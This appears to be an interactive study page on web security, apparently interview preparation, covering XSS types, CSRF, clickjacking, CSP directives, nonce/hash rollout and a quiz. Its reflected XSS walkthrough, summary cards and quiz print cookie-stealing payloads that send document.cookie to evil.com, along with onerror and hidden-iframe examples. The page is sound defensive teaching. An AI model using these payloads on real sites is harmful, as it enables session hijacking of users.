XSS, CSRF & CSP

Attack taxonomy, defense-in-depth, and Content Security Policy from directives to nonce/hash rollout.

1XSS — three attack types

XSS = an attacker gets their JavaScript to execute in a victim's browser, in your origin's context. That JS runs with full access to cookies (unless HttpOnly), DOM, localStorage, and the ability to make credentialed requests. The three types differ in where the payload lives.

Attack map Three types — three places the payload lives — three different fix points
Stored XSS
🪣 The Poisoned Well — attacker poisons the well once; every villager who draws water is harmed.
Step 1 / 4
Attacker
①→
🗄 Database
②→
Alice
Bob
Carol
🔒 What if the server HTML-encoded (serialised) the input before storing?
The DB holds <script>steal()</script> instead of the raw tag. When served back in an HTML body context, the browser renders it as literal text — not executable. XSS blocked in that context.
⚠ But encoding is context-dependent — wrong context = bypass. If this stored value is later embedded in a JavaScript string — var q = "{{userInput}}" — HTML encoding does nothing. You need JS string escaping for JS contexts, URL encoding for URL parameters, CSS encoding for CSS values. This is why output encoding is layer 2 of the four-layer XSS defense, not a complete solution on its own.
✓ attack succeeds when
  • User input stored without HTML-encoding
  • Output rendered raw back into HTML (innerHTML, unescaped template)
  • No CSP or CSP allows 'unsafe-inline'
✗ attack is blocked when
  • Template engine auto-escapes output (React JSX, Vue {{ }})
  • Developer avoids raw HTML APIs (dangerouslySetInnerHTML, v-html)
  • Nonce-based CSP prevents execution even if injection succeeds
Framework defaults: React JSX {val} auto-escapes — safe by default; only dangerouslySetInnerHTML bypasses it. Vue {{ val }} auto-escapes; v-html is dangerous. Angular template interpolation sanitizes automatically. Jinja2 / Twig / Blade auto-escape by default; {{ val | safe }} or {!! val !!} disables it. Most XSS bugs come from deliberately bypassing these defaults — audit every raw output call.
Reflected XSS
🎣 The Booby-Trapped Link — attacker sends a poisoned URL; only the person who clicks it is hit. No persistence, one victim per link.
Attacker
①→
Alice clicks
②→
Server
③→
Alice ☠
① emails crafted link ?q=<script>steal()</script>  ·  ② Alice's browser requests the page  ·  ③ server reflects the payload unencoded → executes in Alice's browser
How ?q=<script> actually steals a cookie — full chain
1
Attacker crafts: example.com/search?q=<script>fetch('https://evil.com?c='+document.cookie)</script> and embeds it in a phishing email as a shortened URL.
2
Alice clicks the link. Her browser sends GET /search?q=<script>...</script> to example.com with her session cookie attached (normal browser behaviour).
3
Server renders the q param directly into HTML without encoding: <p>Results for: <script>fetch(...)</script></p>. The page looks normal to Alice.
4
Alice's browser parses the HTML, encounters the <script> tag, and executes the code as example.com origin — same trust as platform's own JS.
5
document.cookie returns all non-HttpOnly cookies for example.com: "session=abc123; _ga=UA-xxx". HttpOnly cookies are invisible to JS — that's why HttpOnly is a key defense.
6
fetch('https://evil.com?c=session%3Dabc123...') sends them to the attacker's server. Attacker reads the request log, extracts session=abc123.
7
Attacker sets Cookie: session=abc123 in their browser. They are now logged in as Alice — without ever knowing her password.
✓ attack succeeds when
  • Server echoes URL param into HTML without encoding
  • Victim can be tricked into clicking a crafted URL
  • Session cookie is not HttpOnly (JS can read and exfiltrate it)
✗ attack is blocked when
  • Template engine HTML-encodes output (<&lt;)
  • Session cookie is HttpOnlydocument.cookie can't read it
  • CSP connect-src blocks fetch to attacker's domain
Framework defaults: Same as Stored XSS — modern template engines auto-escape URL params. The residual risk is developers explicitly using raw output helpers, or JS code that renders dynamic content via innerHTML (e.g., rich-text editors, markdown renderers). These need DOMPurify or Trusted Types even if the server-side framework is safe.
DOM XSS
✉️ The Invisible Letter — payload rides in the URL #fragment. The server is a postman who delivers the envelope without opening it — server encoding and WAFs never see this attack.
Attacker
①→
location.hash
②→
Browser ☠
① crafts example.com/page#<img onerror=steal()>  ·  ② client JS reads hash → writes to innerHTML (dangerous sink) — server never involved
⚠ The # fragment is never sent to the server. Server encoding, WAF rules, and access logs are all completely blind to this. The fix lives entirely in client-side JS: use textContent not innerHTML, or sanitize with DOMPurify.
✓ attack succeeds when
  • JS reads from attacker-controlled source (location.hash, postMessage, localStorage)
  • Writes to a dangerous sink (innerHTML, eval, script.src) without sanitizing
  • No Trusted Types policy enforced at the sink
✗ attack is blocked when
  • Use textContent instead of innerHTML for plain text
  • DOMPurify sanitizes HTML before writing to any sink
  • Trusted Types API enforces type-checking at every sink — only explicitly created TrustedHTML objects are accepted
Framework defaults: React and Vue prevent DOM XSS in JSX/template rendering — but not in imperative JS code outside components. If your component does document.getElementById('el').innerHTML = new URLSearchParams(location.search).get('q'), no framework will save you. DOM XSS requires auditing every JS source→sink data flow, not just template output.

Reflected XSS

One victim at a time

Payload is in the request URL; server reflects it into the response without encoding. Attacker crafts a link and tricks the victim into clicking it. Not persisted — each victim needs a fresh URL.

?q=<script>fetch('evil.com?c='+document.cookie)</script>

Stored XSS

Every viewer is a victim

Payload stored in the DB (comment, profile name, review). Served to every user who views that content. No crafted URL needed — the script runs passively for anyone who loads the page.

Most dangerous. A hotel review field on example.com that echoes unencoded HTML = all future viewers attacked.

DOM XSS

Invisible to the server

Pure client-side. JS reads from an attacker-controlled source and writes to a dangerous sink. The payload never touches the server — it's invisible to WAFs, server logs, and server-side encoding.

div.innerHTML = location.hash.slice(1)

DOM XSS: sources and sinks

Any path from a source to a sink without sanitization is a DOM XSS vulnerability.

Sources — attacker-controlled input

  • location.hash, location.search
  • document.referrer, window.name
  • postMessage data
  • localStorage / sessionStorage

Sinks — dangerous write targets

  • element.innerHTML / outerHTML
  • document.write()
  • eval(), setTimeout(string)
  • script.src, a.href = "javascript:…"
Trap — "my server encodes everything so I'm safe from DOM XSS": Server-side encoding is irrelevant for DOM XSS. The payload travels in the URL fragment (#) which browsers never send to the server, or via postMessage, or is read from localStorage. The server never sees it. The fix is client-side: use textContent instead of innerHTML, or sanitize with DOMPurify before writing to any sink.

2CSRF — what it is and how it differs from XSS

CSRF is a different attack: the victim's browser is tricked into sending a credentialed request to your server. The attacker doesn't inject code — they just make the browser send a request. CSP does not prevent CSRF.

Attack map — CSRF 🪪 The Automatic Stamp — your session cookie travels with every request to example.com, even ones you didn't start
✓ Normal — you initiate the request
You on example.com
example.com server
Hotel Booked ✓
you POST /book · browser attaches Cookie: session=abc (your stamp) · server sees valid session, proceeds
✗ CSRF — evil.com uses your stamp without asking
evil.com page
①→
Your Browser
②→
example.com server
③→
Executed ☠
① page loads with a hidden <form action="https://example.com/transfer" method="POST"> that auto-submits  ·  ② browser auto-attaches Cookie: session=abc — your stamp, no questions asked  ·  ③ server sees a valid session and can't tell it was forged
⚠ Fix: SameSite=Lax tells the browser "pocket the stamp for cross-site POST requests." The form fires but the cookie stays home. Server gets an unauthenticated request → rejected.
✓ attack succeeds when
  • Server authenticates via session cookie only — no CSRF token required in request body or header
  • Request has no unpredictable parameters — no old password, OTP, or CAPTCHA
  • Cookie is SameSite=None or not set (older browser default sends on cross-site)
  • No Origin / Referer header validation on the server
✗ attack is blocked when
  • SameSite=Lax — browser withholds cookie on cross-site POST
  • CSRF synchronizer token in form body — attacker can't read it (same-origin policy blocks cross-origin reads)
  • Request requires old password / OTP — attacker cannot supply it
  • API requires Content-Type: application/json — HTML forms cannot set this; browser issues a CORS preflight which the server can reject
Why old password blocks CSRF: The attacker controls the form but not the user's knowledge. Even if the forged request reaches the server, the old-password field is empty or wrong — server rejects. Same logic applies to OTP and CAPTCHA — "unpredictable parameter" defense.
Framework defaults: Django CSRF middleware on by default (POST forms need {% csrf_token %}). Rails protect_from_forgery on by default. Spring Security CSRF protection on by default for state-changing methods. Express / Next.js API routes have no built-in CSRF protection — must add csrf middleware explicitly.
One-liner

XSS = attacker runs code in your origin. CSRF = attacker uses your browser to make requests. Different threats, different defenses — SameSite for CSRF, encode+CSP for XSS.

3Clickjacking

Clickjacking is a visual deception attack. The attacker loads your page inside a transparent iframe on their site, positioned precisely over their own UI. The victim believes they are clicking the attacker's button — but they are actually clicking your page, triggering real actions while logged in as themselves.

Attack map — Clickjacking 🪟 The Glass Button — transparent glass covers the real button; you press the glass and your click falls through to what's beneath
👁 What the victim sees
🌐 evil.com/you-won
🎉 You've been selected!
Click to Claim Your Prize
One harmless-looking button…
🔍 What's actually there (z-stack)
z-index: 2 — visible layer · evil.com
Click to Claim Your Prize
pointer-events: none — clicks pass straight through
z-index: 1 — hidden layer · opacity: 0
<iframe src="example.com/checkout/confirm">
← this button actually receives every click ☠
⚠ Fix: frame-ancestors 'none' on the checkout page — browser refuses to render example.com inside any iframe at all. The hidden layer can't exist. No glass, no trick.
✓ attack succeeds when
  • No frame-ancestors or X-Frame-Options header — page can be framed by anyone
  • Sensitive action is triggered by a single click (no keyboard input needed)
  • Victim is logged in to the target site in another tab
✗ attack is blocked when
  • frame-ancestors 'none' — browser refuses to load the page inside any iframe
  • Action requires keyboard input — iframes cannot intercept keystrokes from the outer page
  • Re-authentication or confirmation dialog before sensitive actions (payment PIN, "type DELETE to confirm")
Framework defaults: Django sets X-Frame-Options: SAMEORIGIN by default via XFrameOptionsMiddleware. Spring Security sets X-Frame-Options: DENY by default. Helmet.js (Express) sets SAMEORIGIN via frameguard(). Rails has no default — must configure manually. Note: frame-ancestors in CSP takes precedence over X-Frame-Options in modern browsers — prefer CSP, include X-Frame-Options as a legacy fallback.
Attack flow — payment page example
1
Attacker creates evil.com with a large button: "Click to claim your prize"
2
Behind it: <iframe src="example.com/checkout/confirm" style="opacity:0; position:absolute"> — sized so the "Confirm Payment" button aligns exactly with the prize button
3
Victim clicks "claim prize" — their click lands on your Confirm Payment button, as their logged-in session
4
the platform's server receives a valid credentialed POST. Payment confirmed. Victim has no idea.

Defense: frame-ancestors

The frame-ancestors CSP directive tells the browser which origins may embed your page in an <iframe>. If the embedding origin does not match, the browser refuses to render the frame at all — the overlay never exists.

ValueWho can embed your pageUse for
frame-ancestors 'none'NobodyPayment, admin, account deletion — should never be embedded
frame-ancestors 'self'Same origin onlyMost app pages — blocks all external attackers
frame-ancestors https://partner.comSpecific trusted originBooking widget legitimately embedded on a partner site

frame-ancestors (CSP)

Modern — prefer this

Part of the CSP header. Supports 'none', 'self', and specific origins. Granular per-page control. Overrides X-Frame-Options when both are present.

X-Frame-Options

Legacy — harmless fallback

SAMEORIGIN = 'self'. DENY = 'none'. ALLOW-FROM is broken in most browsers. Include it alongside frame-ancestors only for old-browser coverage.

Trap — CSRF token does not prevent clickjacking: The victim's browser makes a real, credentialed request — with a valid CSRF token, valid cookies, valid session. The server has no way to know the click was hijacked. Only preventing the iframe from rendering in the first place stops clickjacking. frame-ancestors is the only defense.
One-liner

Clickjacking wraps your page in a transparent iframe. frame-ancestors 'none' on payment and admin pages — nobody can frame you, no click can be hijacked.

4XSS defense — four layers in order

Defense-in-depth: each layer catches what the previous one misses. All four are needed.

1
Input validation / sanitization
Reject or clean malicious input on arrival. Use DOMPurify when you must accept HTML. Strip javascript: from href values. But input validation alone is insufficient — encoding context is what actually prevents injection.
2
Output encoding — context-dependent
Escape on the way out, matched to the context. HTML context: &lt; &gt; &amp; &quot;. JS context: \uXXXX unicode escapes. URL context: percent-encoding. CSS context: hex encoding. Wrong encoding for wrong context = bypass. HTML-entity-encoding a value inside a <script> tag does not protect it.
3
HttpOnly cookies (L18)
Limits XSS blast radius: injected JS cannot read HttpOnly cookies, so the refresh token is safe even during an active attack. Does not prevent XSS — just caps what the attacker can steal.
4
Content Security Policy (CSP)
Second line of defense. Even if injection succeeds (layers 1–2 failed), CSP restricts what scripts can load and execute. A correct nonce-based CSP blocks injected <script> tags entirely. Cannot be bypassed by an injected script if correctly configured.
One-liner

XSS injects code that runs as you. Encode output in the right context to prevent it; CSP limits the damage if encoding fails.

5Content Security Policy — directives

CSP is an HTTP response header. It tells the browser an allowlist of what it may load and execute. Anything not on the allowlist is blocked and (optionally) reported.

Content-Security-Policy:
  default-src 'self';
  script-src 'nonce-r4nd0m' 'strict-dynamic';
  style-src 'self' 'nonce-r4nd0m';
  img-src 'self' https://cdn.example.com data:;
  connect-src 'self' https://api.example.com;
  font-src 'self' https://fonts.gstatic.com;
  object-src 'none';
  base-uri 'self';
  frame-ancestors 'self';
  report-uri /csp-violations;
default-src
Fallback for any directive not explicitly set. Start with 'self' — only same-origin resources.
script-src
Controls which JS may execute. The most important directive. Use 'nonce-…' or 'sha256-…' — never 'unsafe-inline'.
object-src 'none'
Disables Flash, Java applets, and old plugins — always set this. Plugins are legacy XSS vectors.
base-uri 'self'
Prevents a <base href="…"> injection from redirecting all relative URLs to an attacker domain.
frame-ancestors
Controls which pages may embed yours in an <iframe>. 'self' blocks clickjacking. Replaces the old X-Frame-Options header.
connect-src
Restricts fetch, XHR, and WebSocket destinations. Prevents exfiltration — injected JS can't fetch('evil.com?c='+cookie) if that origin isn't listed.

6Nonce — per-request random token

A nonce (number used once) is a cryptographically random value the server generates fresh for every response. It is embedded in the CSP header and on every trusted <script> tag. The browser executes only scripts whose nonce attribute matches the header value.

Nonce flow
1
Server generates nonce = crypto.randomBytes(16).toString('base64') per request
2
Sets header: Content-Security-Policy: script-src 'nonce-abc123' 'strict-dynamic'
3
Renders every trusted script tag with the nonce: <script nonce="abc123">…</script>
4
Browser executes only scripts whose nonce attribute matches — your inline scripts run ✓
Attacker injects <script>steal()</script> — no nonce attribute → blocked
-- Server (Express example) --
const nonce = crypto.randomBytes(16).toString('base64');
res.setHeader('Content-Security-Policy',
  `script-src 'nonce-${nonce}' 'strict-dynamic'; object-src 'none'; base-uri 'self'`);

-- HTML template --
<script nonce="<%= nonce %>">
  /* your inline bootstrap */
</script>
<script nonce="<%= nonce %>" src="/bundle.js"></script>
Trap — nonce must be random per request: A static or predictable nonce defeats the entire model. If the nonce is the same across responses, an attacker who reads it from the DOM can inject a script tag with that nonce and it executes. Nonces also break pure static HTML cached at a CDN — a CDN serves the same HTML to everyone, so you can't generate a per-request nonce. Fix: use a hash instead (for static pages), or generate the nonce at the edge (edge function / CDN worker).

Hash — alternative for static pages

When you can't generate a per-request nonce (CDN-cached static HTML with no SSR), use a hash. The browser SHA-256-hashes each inline script's content and checks it against the CSP header. No server randomness needed — but the hash must be recomputed whenever the script content changes.

NonceHash
Requires SSRYesNo — static OK
CDN-cacheable HTMLNo (without edge fn)Yes
Script content changesNonce unchangedMust recompute hash
Covers external src=YesNo

7strict-dynamic — the modern pattern

Without 'strict-dynamic', scripts loaded by your trusted scripts are blocked. Your nonce-whitelisted bundle runs but when it does document.createElement('script') to lazy-load a chunk, that new script has no nonce and is blocked. This breaks any bundler that code-splits.

'strict-dynamic' propagates trust: scripts created by a nonce-trusted script inherit that trust and are allowed to execute.

Content-Security-Policy:
  script-src 'nonce-abc123' 'strict-dynamic'
             'unsafe-inline' http: https:;
--  ↑ The last two are fallbacks for old browsers that don't understand strict-dynamic.
    Supporting browsers IGNORE 'unsafe-inline' and host allowlists when strict-dynamic is present.

What strict-dynamic allows

Scripts dynamically created by a nonce-trusted script (e.g., lazy-loaded chunks, third-party tag managers that load sub-scripts).

What strict-dynamic still blocks

Injected <script> tags — they weren't created by a trusted script. An attacker can't create a "trusted" script without already having code execution.

One-liner

Nonce + strict-dynamic is the modern CSP pattern: one per-request random value locks inline scripts; strict-dynamic lets your own bundles load sub-scripts without an exhaustive allowlist.

8Report-only — roll out without breaking production

Enforcing a new CSP on a large app blindly will break things. The safe path: deploy in report-only mode first, collect violations, fix them, then flip to enforcement.

-- Phase 1: observe (no blocking) --
Content-Security-Policy-Report-Only:
  script-src 'nonce-abc123' 'strict-dynamic'; report-uri /csp-violations

-- Phase 2: enforce --
Content-Security-Policy:
  script-src 'nonce-abc123' 'strict-dynamic'; report-uri /csp-violations
Rollout strategy
1
Deploy Report-Only header. Scripts still execute — no user-visible breakage.
2
Aggregate /csp-violations reports. Triage: legitimate scripts missing nonces (fix them) vs actual injections (you just found real XSS).
3
Fix all legitimate violations — add nonces, add hashes, update connect-src for your analytics domains.
4
When violations drop to near zero for 1–2 weeks, flip to the enforcing header. Keep report-uri active to catch regressions.
Trap — "we added CSP but still have 'unsafe-inline'": 'unsafe-inline' in script-src allows all inline scripts — including injected ones. It completely negates XSS protection. It's a common first-pass mistake when teams audit their CSP violations and just allowlist everything they see. The goal is to remove 'unsafe-inline' by converting inline scripts to nonce or external files, not to add it to silence reports. Exception: 'unsafe-inline' is silently ignored when 'strict-dynamic' is present in supporting browsers — it's a fallback for IE11 only.

9platform-specific angle

Full loop

Concept: XSS = three types (reflected/stored/DOM); defense = four layers in order (sanitize → encode → HttpOnly → CSP), and CSP with nonce + strict-dynamic is the second line that blocks execution even when encoding fails. Trade-off: nonce-based CSP requires SSR or edge rendering (you can't mint per-request random nonces from a CDN-cached static page), hash works for static but breaks on any script change, and Report-Only mode is non-negotiable before enforcement on a large app. Anchor: "Auditing CSP violations in report-only mode, we found a third-party analytics script dynamically loading six sub-scripts — all blocked; adding 'strict-dynamic' fixed it without opening up the whole script-src, and we caught two real XSS attempts in the violations pipeline that would have executed without CSP." Impact: a missing nonce on one inline script is a full auth bypass if XSS fires — CSP converts "token theft → persistent account access" into "blocked script → nothing happens." Invite: "I'd revisit the static-vs-nonce trade-off if we moved to full edge rendering — a Cloudflare Worker can mint nonces per request, giving nonce-based CSP even for CDN-cached pages."

10Check yourself — scenario quiz

0 / 7

A user posts a hotel review: <script>fetch('https://evil.com?c='+document.cookie)</script>. Every subsequent visitor's cookies are sent to the attacker. What type of XSS is this?

Your code: document.getElementById('msg').innerHTML = location.hash.slice(1). An attacker sends the URL example.com/page#<img src=x onerror=alert(1)>. Your server encodes all output. Does the attack succeed?

Your CSP header includes script-src 'nonce-xyz789'. An attacker exploits a Stored XSS vulnerability and injects <script>steal()</script> into the page. Does the injected script execute?

Your CSP is script-src 'nonce-abc123' (no 'strict-dynamic'). Your React bundle is nonce-tagged and loads. It then calls import('./LazyRoute.js') which creates a new <script> tag dynamically. What happens?

What is the difference between Content-Security-Policy and Content-Security-Policy-Report-Only?

Your CSP has script-src 'nonce-abc' 'strict-dynamic' 'unsafe-inline'. A browser that supports strict-dynamic encounters an inline script without a nonce. Does it execute?

Why does frame-ancestors 'self' in your CSP protect the checkout page?

Verbal drill — out loud before next session

Whiteboard prompt: "A security team audit flags that example.com has no CSP and several pages echo user-supplied data into the DOM. Walk me through: the three types of XSS exposure you'd look for, how you'd defend against each, and how you'd roll out a CSP across a large app with dozens of third-party scripts without breaking production."

Hit: stored/reflected/DOM (different fix points) → encode output in context → DOMPurify for HTML sinks → CSP report-only first → nonce+strict-dynamic → fix violations over 1–2 weeks → flip to enforcement → keep report-uri as ongoing alert.

Good follow-up topics:

Trusted Types API — the future of DOM XSS prevention DOMPurify — how it works and its limits CSP with Next.js App Router (nonces + middleware) Subresource Integrity (SRI) for third-party scripts How to handle nonces with a CDN and edge functions XSS in JSON APIs (content-type sniffing) CSRF with multi-origin SPAs